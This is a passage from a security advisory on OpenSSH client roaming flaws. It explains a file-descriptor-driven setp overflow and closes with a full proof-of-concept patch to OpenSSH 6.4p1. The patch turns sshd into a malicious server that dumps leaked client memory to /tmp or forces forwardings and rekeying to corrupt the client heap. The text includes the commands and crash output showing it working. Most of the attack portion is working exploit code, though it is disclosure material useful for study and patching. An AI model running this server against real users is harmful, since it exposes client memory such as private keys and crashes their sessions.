250 /* Indicate OK return */
251 return 0;
252 }

In wait_for_roaming_reconnect(), the two old, low-numbered file
descriptors connection_in and connection_out are both close()d by
packet_backup_state(), and immediately reused for the pipe(pin) in
ssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of
these old, low-numbered file descriptors, and cannot possibly overflow
setp.

On the other hand, the pipe(pout) in ssh_proxy_connect() may return
high-numbered file descriptors, and the new connection_in (pout[0]) may
therefore overflow setp, if hundreds of file descriptors were leaked
before the call to wait_for_roaming_reconnect():

- We discovered a file descriptor leak in the pubkey_prepare() function
of OpenSSH >= 6.8; indeed, if the client is running an authentication
agent that does not offer any private keys, the reference to agent_fd
is lost, and this file descriptor is never close()d:

1194 static void
1195 pubkey_prepare(Authctxt *authctxt)
1196 {
....
1200 int agent_fd, i, r, found;
....
1247 if ((r = ssh_get_authentication_socket(&agent_fd)) != 0) {
1248 if (r != SSH_ERR_AGENT_NOT_PRESENT)
1249 debug("%s: ssh_get_authentication_socket: %s",
1250 __func__, ssh_err(r));
1251 } else if ((r = ssh_fetch_identitylist(agent_fd, 2, &idlist)) != 0) {
1252 if (r != SSH_ERR_AGENT_NO_IDENTITIES)
1253 debug("%s: ssh_fetch_identitylist: %s",
1254 __func__, ssh_err(r));
1255 } else {
....
1288 authctxt->agent_fd = agent_fd;
1289 }
....
1299 }

However, OpenSSH clients >= 6.8 crash in ssh_packet_restore_state()
(because of the NULL-pointer dereference discussed in the Mitigating
Factors of the Buffer Overflow section) and are immune to the setp
overflow, despite this agent_fd leak.

- If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH
client (it is disabled by default), a malicious SSH server can request
hundreds of forwardings, in order to increase connection_in (each
forwarding opens a file descriptor), and thus overflow setp in
packet_read_seqnr():

# env ROAMING="overflow:A" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V
OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014

$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1
user (at) 127.0.0 (dot) 1 [email concealed]'s password:
[connection suspended, press return to resume][connection resumed]
*** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007f0474d03e70 ***
Aborted (core dumped)

# env ROAMING="overflow:X" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ /usr/bin/ssh -X -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1
user (at) 127.0.0 (dot) 1 [email concealed]'s password:
[connection suspended, press return to resume][connection resumed]
*** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007fdcc2a3aba0 ***
*** Error in `/usr/bin/ssh': malloc(): memory corruption: 0x00007fdcc2a3abc0 ***

Finally, a brief digression on two unexpected problems that had to be
solved in our proof-of-concept:

- First, setp can be overflowed only in packet_read_seqnr(), not in
packet_write_wait(), but agent forwarding and X11 forwarding are post-
authentication functionalities, and post-authentication calls to
packet_read() or packet_read_expect() are scarce, except in the
key-exchange code of OpenSSH clients < 6.8: our proof-of-concept
effectively forces a rekeying in order to overflow setp in
packet_read_seqnr().

- Second, after a successful reconnection, packet_read_seqnr() may call
fatal("Read from socket failed: %.100s", ...), because roaming_read()
may return EAGAIN (EAGAIN is never returned without the reconnection,
because the preceding call to select() guarantees that connection_in
is ready for read()). Our proof-of-concept works around this problem
by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server,
allowing data to reach the client before roaming_read() is called,
thus avoiding EAGAIN.

========================================================================

Acknowledgments
========================================================================

We would like to thank the OpenSSH developers for their great work and
their incredibly quick response, Red Hat Product Security for promptly
assigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall
Project for the interesting discussions.

========================================================================

Proof Of Concept
========================================================================

diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c
--- openssh-6.4p1/auth2-pubkey.c 2013-07-17 23:10:10.000000000 -0700
+++ openssh-6.4p1+roaming/auth2-pubkey.c 2016-01-07 01:04:15.000000000 -0800
@@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)
* if a user is not allowed to login. is this an
* issue? -markus
*/
- if (PRIVSEP(user_key_allowed(authctxt->pw, key))) {
+ if (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) {
+ debug("%s: force client-side load_identity_file",
+ __func__);
packet_start(SSH2_MSG_USERAUTH_PK_OK);
packet_put_string(pkalg, alen);
packet_put_string(pkblob, blen);
diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c
--- openssh-6.4p1/kex.c 2013-06-01 14:31:18.000000000 -0700
+++ openssh-6.4p1+roaming/kex.c 2016-01-07 01:04:15.000000000 -0800
@@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX],
}

static void
+roaming_reconnect(void)
+{
+ packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);
+ const u_int id = packet_get_int(); /* roaming_id */
+ debug("%s: id %u", __func__, id);
+ packet_check_eom();
+
+ const char *const dir = get_roaming_dir(id);
+ debug("%s: dir %s", __func__, dir);
+ const int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);
+ if (fd <= -1)
+ fatal("%s: open %s errno %d", __func__, dir, errno);
+ if (fchdir(fd) != 0)
+ fatal("%s: fchdir %s errno %d", __func__, dir, errno);
+ if (close(fd) != 0)
+ fatal("%s: close %s errno %d", __func__, dir, errno);
+
+ packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED);
+ packet_put_int64(arc4random()); /* chall */
+ packet_put_int64(arc4random()); /* oldchall */
+ packet_send();
+
+ packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH);
+ const u_int64_t client_read_bytes = packet_get_int64();
+ debug("%s: client_read_bytes %llu", __func__,
+ (unsigned long long)client_read_bytes);
+ packet_get_int64(); /* digest (1-8) */
+ packet_get_int64(); /* digest (9-16) */
+ packet_get_int(); /* digest (17-20) */
+ packet_check_eom();
+
+ u_int64_t client_write_bytes;
+ size_t len = sizeof(client_write_bytes);
+ load_roaming_file("client_write_bytes", &client_write_bytes, &len);
+ debug("%s: client_write_bytes %llu", __func__,
+ (unsigned long long)client_write_bytes);
+
+ u_int client_out_buf_size;
+ len = sizeof(client_out_buf_size);
+ load_roaming_file("client_out_buf_size", &client_out_buf_size, &len);
+ debug("%s: client_out_buf_size %u", __func__, client_out_buf_size);
+ if (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF)
+ fatal("%s: client_out_buf_size %u", __func__,
+ client_out_buf_size);
+
+ packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK);
+ packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size);
+ packet_send();
+ const int overflow = (access("output", F_OK) == 0);
+ if (overflow != 0) {
+ const void *const ptr = load_roaming_file("output", NULL, &len);
+ buffer_append(packet_get_output(), ptr, len);
+ }
+ packet_write_wait();
+
+ char *const client_out_buf = xmalloc(client_out_buf_size);
+ if (atomicio(read, packet_get_connection_in(), client_out_buf,
+ client_out_buf_size) != client_out_buf_size)
+ fatal("%s: read client_out_buf_size %u errno %d", __func__,
+ client_out_buf_size, errno);
+ if (overflow == 0)
+ dump_roaming_file("infoleak", client_out_buf,
+ client_out_buf_size);
+ fatal("%s: all done for %s", __func__, dir);
+}
+
+static void
kex_choose_conf(Kex *kex)
{
Newkeys *newkeys;
@@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)
kex->roaming = 1;
free(roaming);
}
+ } else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) {
+ roaming_reconnect();
+ /* NOTREACHED */
+ fatal("%s: returned from %s", __func__, KEX_RESUME);
}

/* Algorithm Negotiation */
diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h
--- openssh-6.4p1/roaming.h 2011-12-18 15:52:52.000000000 -0800
+++ openssh-6.4p1+roaming/roaming.h 2016-01-07 01:04:15.000000000 -0800
@@ -42,4 +42,86 @@ void resend_bytes(int, u_int64_t *);
void calculate_new_key(u_int64_t *, u_int64_t, u_int64_t);
int resume_kex(void);

+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "atomicio.h"
+#include "log.h"
+#include "xmalloc.h"
+
+static inline char *
+get_roaming_dir(const u_int id)
+{
+ const size_t buflen = MAXPATHLEN;
+ char *const buf = xmalloc(buflen);
+
+ if ((u_int)snprintf(buf, buflen, "/tmp/roaming-%08x", id) >= buflen)
+ fatal("%s: snprintf %u error", __func__, id);
+ return buf;
+}
+
+static inline void
+dump_roaming_file(const char *const name,
+ const void *const buf, const size_t buflen)
+{
+ if (name == NULL)
+ fatal("%s: name %p", __func__, name);
+ if (strchr(name, '/') != NULL)
+ fatal("%s: name %s", __func__, name);
+ if (buf == NULL)
+ fatal("%s: %s buf %p", __func__, name, buf);
+ if (buflen <= 0 || buflen > MAX_ROAMBUF)
+ fatal("%s: %s buflen %lu", __func__, name, (u_long)buflen);
+
+ const int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR);
+ if (fd <= -1)
+ fatal("%s: open %s errno %d", __func__, name, errno);
+ if (write(fd, buf, buflen) != (ssize_t)buflen)
+ fatal("%s: write %s errno %d", __func__, name, errno);
+ if (close(fd) != 0)
+ fatal("%s: close %s errno %d", __func__, name, errno);
+}
+
+static inline void *
+load_roaming_file(const char *const name,
+ void *buf, size_t *const buflenp)
+{
+ if (name == NULL)
+ fatal("%s: name %p", __func__, name);
+ if (strchr(name, '/') != NULL)
+ fatal("%s: name %s", __func__, name);
+ if (buflenp == NULL)
+ fatal("%s: %s buflenp %p", __func__, name, buflenp);
+
+ const int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);
+ if (fd <= -1)
+ fatal("%s: open %s errno %d", __func__, name, errno);
+ struct stat st;
+ if (fstat(fd, &st) != 0)
+ fatal("%s: fstat %s errno %d", __func__, name, errno);
+ if (S_ISREG(st.st_mode) == 0)
+ fatal("%s: %s mode 0%o", __func__, name, (u_int)st.st_mode);
+ if (st.st_size <= 0 || st.st_size > MAX_ROAMBUF)
+ fatal("%s: %s size %lld", __func__, name,
+ (long long)st.st_size);
+
+ if (buf == NULL) {
+ *buflenp = st.st_size;
+ buf = xmalloc(*buflenp);
+ } else {
+ if (*buflenp != (size_t)st.st_size)
+ fatal("%s: %s size %lld buflen %lu", __func__, name,
+ (long long)st.st_size, (u_long)*buflenp);
+ }
+ if (read(fd, buf, *buflenp) != (ssize_t)*buflenp)
+ fatal("%s: read %s errno %d", __func__, name, errno);
+ if (close(fd) != 0)
+ fatal("%s: close %s errno %d", __func__, name, errno);
+ return buf;
+}
+
#endif /* ROAMING */
diff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c
--- openssh-6.4p1/serverloop.c 2013-07-17 23:12:45.000000000 -0700
+++ openssh-6.4p1+roaming/serverloop.c 2016-01-07 01:04:15.000000000 -0800
@@ -1060,6 +1060,9 @@ server_request_session(void)
return c;
}

+static int client_session_channel = -1;
+static int server_session_channel = -1;
+
static void
server_input_channel_open(int type, u_int32_t seq, void *ctxt)
{
@@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in
c->remote_window = rwindow;
c->remote_maxpacket = rmaxpack;
if (c->type != SSH_CHANNEL_CONNECTING) {
+ debug("%s: avoid client-side buf_append", __func__);
+ /*
packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
packet_put_int(c->remote_id);
packet_put_int(c->self);
packet_put_int(c->local_window);
packet_put_int(c->local_maxpacket);
packet_send();
+ */
+ if (strcmp(ctype, "session") == 0) {
+ if (client_session_channel != -1)
+ fatal("%s: client_session_channel %d",
+ __func__, client_session_channel);
+ client_session_channel = c->remote_id;
+ server_session_channel = c->self;
+ }
}
} else {
debug("server_input_channel_open: failure %s", ctype);
@@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in
}

static void
+roaming_disconnect(Kex *const kex)
+{
+ const char *cp, *roaming = getenv("ROAMING");
+ if (roaming == NULL)
+ roaming = "infoleak";
+ int overflow = 0;
+ if ((cp = strstr(roaming, "overflow:")) != NULL)
+ overflow = cp[9];
+
+ const u_int client_recv_buf_size = packet_get_int();
+ packet_check_eom();
+ const u_int server_recv_buf_size = get_recv_buf_size();
+ const u_int server_send_buf_size = get_snd_buf_size();
+ debug("%s: client_recv_buf_size %u", __func__, client_recv_buf_size);
+ debug("%s: server_recv_buf_size %u", __func__, server_recv_buf_size);
+ debug("%s: server_send_buf_size %u", __func__, server_send_buf_size);
+
+ u_int client_send_buf_size = 0;
+ if ((cp = strstr(roaming, "client_send_buf_size:")) != NULL)
+ client_send_buf_size = strtoul(cp + 21, NULL, 0);
+ else if (client_recv_buf_size == DEFAULT_ROAMBUF)
+ client_send_buf_size = DEFAULT_ROAMBUF;
+ else {
+ const u_int
+ max = MAX(client_recv_buf_size, server_recv_buf_size),
+ min = MIN(client_recv_buf_size, server_recv_buf_size);
+ if (min <= 0)
+ fatal("%s: min %u", __func__, min);
+ if (((u_int64_t)(max - min) * 1024) / min < 1)
+ client_send_buf_size = server_send_buf_size;
+ else
+ client_send_buf_size = client_recv_buf_size;
+ }
+ debug("%s: client_send_buf_size %u", __func__, client_send_buf_size);
+ if (client_send_buf_size <= 0)
+ fatal("%s: client_send_buf_size", __func__);
+
+ u_int id = 0;
+ char *dir = NULL;
+ for (;;) {
+ id = arc4random();
+ debug("%s: id %u", __func__, id);
+ free(dir);
+ dir = get_roaming_dir(id);
+ if (mkdir(dir, S_IRWXU) == 0)
+ break;
+ if (errno != EEXIST)
+ fatal("%s: mkdir %s errno %d", __func__, dir, errno);
+ }
+ debug("%s: dir %s", __func__, dir);
+ if (chdir(dir) != 0)
+ fatal("%s: chdir %s errno %d", __func__, dir, errno);
+
+ u_int client_out_buf_size = 0;
+ if ((cp = strstr(roaming, "client_out_buf_size:")) != NULL)
+ client_out_buf_size = strtoul(cp + 20, NULL, 0);
+ else if (overflow != 0)
+ client_out_buf_size = MAX_ROAMBUF;
+ else
+ client_out_buf_size = 1 + arc4random() % 4096;
+ debug("%s: client_out_buf_size %u", __func__, client_out_buf_size);
+ if (client_out_buf_size <= 0)
+ fatal("%s: client_out_buf_size", __func__);
+ dump_roaming_file("client_out_buf_size", &client_out_buf_size,
+ sizeof(client_out_buf_size));
+
+ if ((cp = strstr(roaming, "scp_mode")) != NULL) {
+ if (overflow != 0)
+ fatal("%s: scp_mode is incompatible with overflow %d",
+ __func__, overflow);
+
+ u_int seconds_left_to_sleep = 3;
+ if ((cp = strstr(cp, "sleep:")) != NULL)
+ seconds_left_to_sleep = strtoul(cp + 6, NULL, 0);
+ debug("%s: sleep %u", __func__, seconds_left_to_sleep);
+
+ if (client_session_channel == -1)
+ fatal("%s: client_session_channel %d",
+ __func__, client_session_channel);
+
+ packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
+ packet_put_int(client_session_channel);
+ packet_put_int(server_session_channel);
+ packet_put_int(0); /* server window */
+ packet_put_int(0); /* server maxpacket */
+ packet_send();
+
+ packet_start(SSH2_MSG_CHANNEL_DATA);
+ packet_put_int(client_session_channel);
+ packet_put_string("\0\n", 2); /* response&source|sink&run_err */
+ packet_send();
+
+ packet_read_expect(SSH2_MSG_CHANNEL_REQUEST);
+ packet_get_int(); /* server channel */
+ debug("%s: channel request %s", __func__,
+ packet_get_cstring(NULL));
+
+ while (seconds_left_to_sleep)
+ seconds_left_to_sleep = sleep(seconds_left_to_sleep);
+ }
+
+ packet_start(SSH2_MSG_REQUEST_SUCCESS);
+ packet_put_int(id); /* roaming_id */
+ packet_put_int64(arc4random()); /* cookie */
+ packet_put_int64(0); /* key1 */
+ packet_put_int64(0); /* key2 */
+ packet_put_int(client_out_buf_size - client_send_buf_size);
+ packet_send();
+ packet_write_wait();
+
+ if (overflow != 0) {
+ const u_int64_t full_client_out_buf = get_recv_bytes() +
+ client_out_buf_size;
+
+ u_int fd_leaks = 4 * 8 * 8; /* MIN_CHUNK_SIZE in bits */
+ if ((cp = strstr(roaming, "fd_leaks:")) != NULL)
+ fd_leaks = strtoul(cp + 9, NULL, 0);
+ debug("%s: fd_leaks %u", __func__, fd_leaks);
+
+ while (fd_leaks--) {
+ packet_start(SSH2_MSG_CHANNEL_OPEN);
+ packet_put_cstring(overflow == 'X' ? "x11" :
+ "auth-agent (at) openssh (dot) com [email concealed]"); /* ctype */
+ packet_put_int(arc4random()); /* server channel */
+ packet_put_int(arc4random()); /* server window */
+ packet_put_int(arc4random()); /* server maxpacket */
+ if (overflow == 'X') {
+ packet_put_cstring(""); /* originator */
+ packet_put_int(arc4random()); /* port */
+ }
+ packet_send();
+
+ packet_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
+ packet_get_int(); /* server channel */
+ packet_get_int(); /* client channel */
+ packet_get_int(); /* client window */
+ packet_get_int(); /* client maxpacket */
+ packet_check_eom();
+ }
+
+ while (get_recv_bytes() <= full_client_out_buf) {
+ packet_start(SSH2_MSG_GLOBAL_REQUEST);
+ packet_put_cstring(""); /* rtype */
+ packet_put_char(1); /* want_reply */
+ packet_send();
+
+ packet_read_expect(SSH2_MSG_REQUEST_FAILURE);
+ packet_check_eom();
+ }
+
+ if (kex == NULL)
+ fatal("%s: no kex, cannot rekey", __func__);
+ if (kex->flags & KEX_INIT_SENT)
+ fatal("%s: KEX_INIT_SENT already", __func__);
+ char *const ptr = buffer_ptr(&kex->my);
+ const u_int len = buffer_len(&kex->my);
+ if (len <= 1+4) /* first_kex_follows + reserved */
+ fatal("%s: kex len %u", __func__, len);
+ ptr[len - (1+4)] = 1; /* first_kex_follows */
+ kex_send_kexinit(kex);
+
+ u_int i;
+ packet_read_expect(SSH2_MSG_KEXINIT);
+ for (i = 0; i < KEX_COOKIE_LEN; i++)
+ packet_get_char();
+ for (i = 0; i < PROPOSAL_MAX; i++)
+ free(packet_get_string(NULL));
+ packet_get_char(); /* first_kex_follows */
+ packet_get_int(); /* reserved */
+ packet_check_eom();
+
+ char buf[8192*2]; /* two packet_read_seqnr bufferfuls */
+ memset(buf, '\0', sizeof(buf));
+ packet_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL);
+ packet_put_string(buf, sizeof(buf));
+ packet_send();
+ const Buffer *const output = packet_get_output();
+ dump_roaming_file("output", buffer_ptr(output),
+ buffer_len(output));
+ }
+
+ const u_int64_t client_write_bytes = get_recv_bytes();
+ debug("%s: client_write_bytes %llu", __func__,
+ (unsigned long long)client_write_bytes);
+ dump_roaming_file("client_write_bytes", &client_write_bytes,
+ sizeof(client_write_bytes));
+ fatal("%s: all done for %s", __func__, dir);
+}
+
+static void
server_input_global_request(int type, u_int32_t seq, void *ctxt)
{
char *rtype;
@@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_
} else if (strcmp(rtype, "no-more-sessions (at) openssh (dot) com [email concealed]") == 0) {
no_more_sessions = 1;
success = 1;
+ } else if (strcmp(rtype, ROAMING_REQUEST) == 0) {
+ if (want_reply != 1)
+ fatal("%s: rtype %s want_reply %d", __func__,
+ rtype, want_reply);
+ roaming_disconnect(ctxt);
+ /* NOTREACHED */
+ fatal("%s: returned from %s", __func__, ROAMING_REQUEST);
}
if (want_reply) {
packet_start(success ?
diff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c
--- openssh-6.4p1/sshd.c 2013-07-19 20:21:53.000000000 -0700
+++ openssh-6.4p1+roaming/sshd.c 2016-01-07 01:04:15.000000000 -0800
@@ -2432,6 +2432,8 @@ do_ssh2_kex(void)
}
if (options.kex_algorithms != NULL)
myproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms;
+ else
+ myproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX "," KEX_RESUME;

if (options.rekey_limit || options.rekey_interval)
packet_set_rekey_limits((u_int32_t)options.rekey_limit,

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